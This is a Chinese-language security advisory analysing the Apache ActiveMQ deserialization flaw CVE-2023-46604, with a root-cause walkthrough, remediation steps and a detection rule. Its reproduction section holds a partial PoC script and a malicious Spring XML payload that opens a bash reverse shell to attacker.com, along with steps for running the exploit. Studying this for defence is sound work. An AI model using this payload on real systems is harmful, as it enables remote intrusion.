一、漏洞简介

1.1 漏洞背景

Apache ActiveMQ 是 Apache 软件基金会开发的开源消息中间件,广泛应用于企业级消息传递系统。2023年10月,安全研究人员发现了一个严重的远程代码执行漏洞,该漏洞影响 ActiveMQ 的 OpenWire 协议 marshaller 组件。由于该漏洞利用简单、危害严重,很快被 CISA 列入已知被利用漏洞目录(KEV),要求联邦机构在2023年11月23日前完成修复。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-46604
危害等级 CRITICAL / 10.0
漏洞类型 反序列化远程代码执行漏洞
披露时间 2023-10-27
影响组件 Apache ActiveMQ
属性 描述
CVE编号 CVE-2023-46604
危害等级 严重 (Critical)
CVSS评分 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
漏洞类型 反序列化不可信数据 (CWE-502)
影响组件 OpenWire 协议 marshaller

该漏洞允许远程攻击者通过网络访问基于 Java 的 OpenWire broker 或客户端,通过在 OpenWire 协议中操纵序列化类类型,使客户端或 broker 实例化类路径上的任意类,从而执行任意 shell 命令。

<hr />

补充核验信息:公开时间:2023-10-27;NVD 评分:10.0(CRITICAL);CWE:CWE-502。

二、影响范围

2.1 受影响的版本

  • Apache ActiveMQ 5.18.0 ~ 5.18.2
  • Apache ActiveMQ 5.17.0 ~ 5.17.5
  • Apache ActiveMQ 5.16.0 ~ 5.16.6
  • Apache ActiveMQ < 5.15.16
  • Apache ActiveMQ Legacy OpenWire Module 5.18.0 ~ 5.18.2
  • Apache ActiveMQ Legacy OpenWire Module 5.17.0 ~ 5.17.5
  • Apache ActiveMQ Legacy OpenWire Module 5.16.0 ~ 5.16.6
  • Apache ActiveMQ Legacy OpenWire Module 5.8.0 ~ 5.15.15

2.2 不受影响的版本

  • Apache ActiveMQ >= 5.15.16
  • Apache ActiveMQ >= 5.16.7
  • Apache ActiveMQ >= 5.17.6
  • Apache ActiveMQ >= 5.18.3

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. ActiveMQ 服务暴露在网络可达位置(默认端口 61616)
  2. 使用 Java OpenWire 协议进行通信
  3. 不需要身份认证即可触发漏洞
  4. 类路径中存在可利用的 Gadget 链(如 Spring、Commons BeanUtils 等)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

CVE-2023-46604 的核心问题在于 ActiveMQ 的 OpenWire 协议在处理序列化数据时缺乏充分的类型验证。攻击者可以构造恶意的 OpenWire 协议数据包,通过以下步骤触发漏洞:

  1. 协议协商阶段:攻击者与 ActiveMQ broker 建立 TCP 连接(默认端口 61616)
  2. 发送恶意数据包:攻击者发送包含异常类类型的 WireFormatInfo 或 ExceptionResponse 消息
  3. 类实例化:当 broker 解析消息时,会尝试实例化数据包中指定的任意类
  4. Gadget 链执行:如果类路径中存在可利用的 Gadget(如 org.springframework.context.support.ClassPathXmlApplicationContext),攻击者可以通过构造特定的 XML 配置文件实现远程代码执行

攻击流程图

攻击者 → 构造恶意 OpenWire 数据包 → ActiveMQ Broker (61616)
                                           ↓
                               反序列化 → 实例化恶意类
                                           ↓
                               加载远程 XML 配置 → 执行任意命令

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞根因BaseDataStreamMarshaller 类的 tightUnmarsalThrowable 方法在反序列化异常信息时,直接使用传入的类名进行类加载和实例化,未进行安全校验。

问题代码位置(5.18.2 版本):

// activemq-client/src/main/java/org/apache/activemq/openwire/v12/BaseDataStreamMarshaller.java

protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs)
    throws IOException {

    if (bs.readBoolean()) {
        String clazzName = tightUnmarshalString(dataIn, bs);  // 从数据包读取类名
        String message = tightUnmarshalString(dataIn, bs);

        // 危险:直接使用用户控制的类名进行实例化
        Throwable throwable = null;
        try {
            Class<?> clazz = Class.forName(clazzName, false,
                Thread.currentThread().getContextClassLoader());
            Constructor<?> constructor = clazz.getConstructor(String.class);
            throwable = (Throwable) constructor.newInstance(message);
        } catch (Throwable t) {
            // 回退到默认异常
            throwable = new Exception(clazzName + ": " + message);
        }
        // ...
    }
}

补丁修复方案(5.18.3 版本):

  1. 引入类型白名单机制,只允许实例化特定类型的异常类
  2. 添加 ClassLoadingAwareObjectInputStream 类对反序列化进行安全检查
  3. 验证类名是否在允许列表中
// 修复后的代码片段
private static final Set<String> ALLOWED_EXCEPTION_TYPES = Set.of(
    "java.lang.Throwable", "java.lang.Exception", "java.lang.Error",
    "java.lang.RuntimeException", "java.io.IOException",
    "org.apache.activemq.broker.BrokerStoppedException",
    // ... 其他允许的异常类型
);

protected Throwable tightUnmarsalThrowable(...) {
    if (bs.readBoolean()) {
        String clazzName = tightUnmarshalString(dataIn, bs);

        // 安全校验:检查类名是否在白名单中
        if (!isAllowedExceptionType(clazzName)) {
            return new SecurityException("Disallowed exception type: " + clazzName);
        }
        // ... 继续原有逻辑
    }
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 搭建漏洞环境

# 拉取受影响版本
docker pull island/xhkjedu:activemq-5.17.3

# 或手动搭建
docker run -d -p 61616:61616 -p 8161:8161 --name activemq-vuln \
  island/xhkjedu:activemq-5.17.3

验证服务运行

# 检查 ActiveMQ 管理界面
curl http://localhost:8161/admin/

# 检查 OpenWire 端口
nc -zv localhost 61616

4.2 PoC 演示与测试过程

使用 Python PoC 脚本

#!/usr/bin/env python3
# CVE-2023-46604 PoC

import socket
import struct

def send_exploit(target_ip, target_port, xml_url):
    """
    发送恶意数据包触发反序列化
    xml_url: 恶意 XML 配置文件的 URL
    """
    # 构造恶意 ExceptionResponse 数据包
    # 指定恶意类:org.springframework.context.support.ClassPathXmlApplicationContext

    payload = build_payload(xml_url)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    # 发送 WireFormatInfo
    wire_format = build_wire_format()
    sock.send(wire_format)

    # 发送恶意数据包
    sock.send(payload)

    sock.close()
    print(f"[+] Exploit sent to {target_ip}:{target_port}")

def build_payload(xml_url):
    """
    构造包含恶意类的数据包
    利用 ClassPathXmlApplicationContext 加载远程 XML
    """
    # 数据包结构:
    # - 数据类型标识
    # - 异常类名
    # - 异常消息(XML URL)

    exception_class = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = xml_url

    # OpenWire 协议编码
    # ... 省略具体编码细节

    return encoded_packet

恶意 XML 配置文件(http://attacker.com/exploit.xml):

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

复现步骤

  1. 启动 ActiveMQ 5.17.3 环境
  2. 在攻击机上托管恶意 XML 文件(可通过 HTTP 服务器)
  3. 监听反弹 shell 端口:nc -lvnp 4444
  4. 运行 PoC 脚本:python exploit.py target.com 61616 http://attacker.com/exploit.xml
  5. 成功获取反弹 shell
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到以下安全版本

  • ActiveMQ 5.18.3 或更高版本
  • ActiveMQ 5.17.6 或更高版本
  • ActiveMQ 5.16.7 或更高版本
  • ActiveMQ 5.15.16 或更高版本

升级步骤

# 1. 下载安全版本
wget https://archive.apache.org/dist/activemq/5.18.3/apache-activemq-5.18.3-bin.tar.gz

# 2. 停止当前服务
./bin/activemq stop

# 3. 备份配置和数据
cp -r conf/ /backup/conf/
cp -r data/ /backup/data/

# 4. 解压新版本
tar -xzf apache-activemq-5.18.3-bin.tar.gz

# 5. 迁移配置
cp /backup/conf/* ./conf/

# 6. 启动新版本
./bin/activemq start

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果暂时无法升级,可采取以下缓解措施:

方案1:网络隔离

# 使用防火墙限制对 61616 端口的访问
iptables -A INPUT -p tcp --dport 61616 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 61616 -j DROP

方案2:启用认证

修改 conf/activemq.xml,添加认证配置:

<plugins>
    <simpleAuthenticationPlugin>
        <users>
            <authenticationUser username="admin" password="strong_password"
                               groups="admins"/>
        </users>
    </simpleAuthenticationPlugin>
</plugins>

方案3:禁用不需要的协议

如果不需要 OpenWire 协议,在 conf/activemq.xml 中注释掉相关配置:

<!--
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
-->

方案4:WAF 规则拦截

在 WAF 或 IDS 中添加规则检测恶意数据包特征:

# Snort/Suricata 规则示例
alert tcp any any -> any 61616 (msg:"ActiveMQ CVE-2023-46604 Exploit Attempt";
  content:"ClassPathXmlApplicationContext";
  sid:1000001; rev:1;)
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料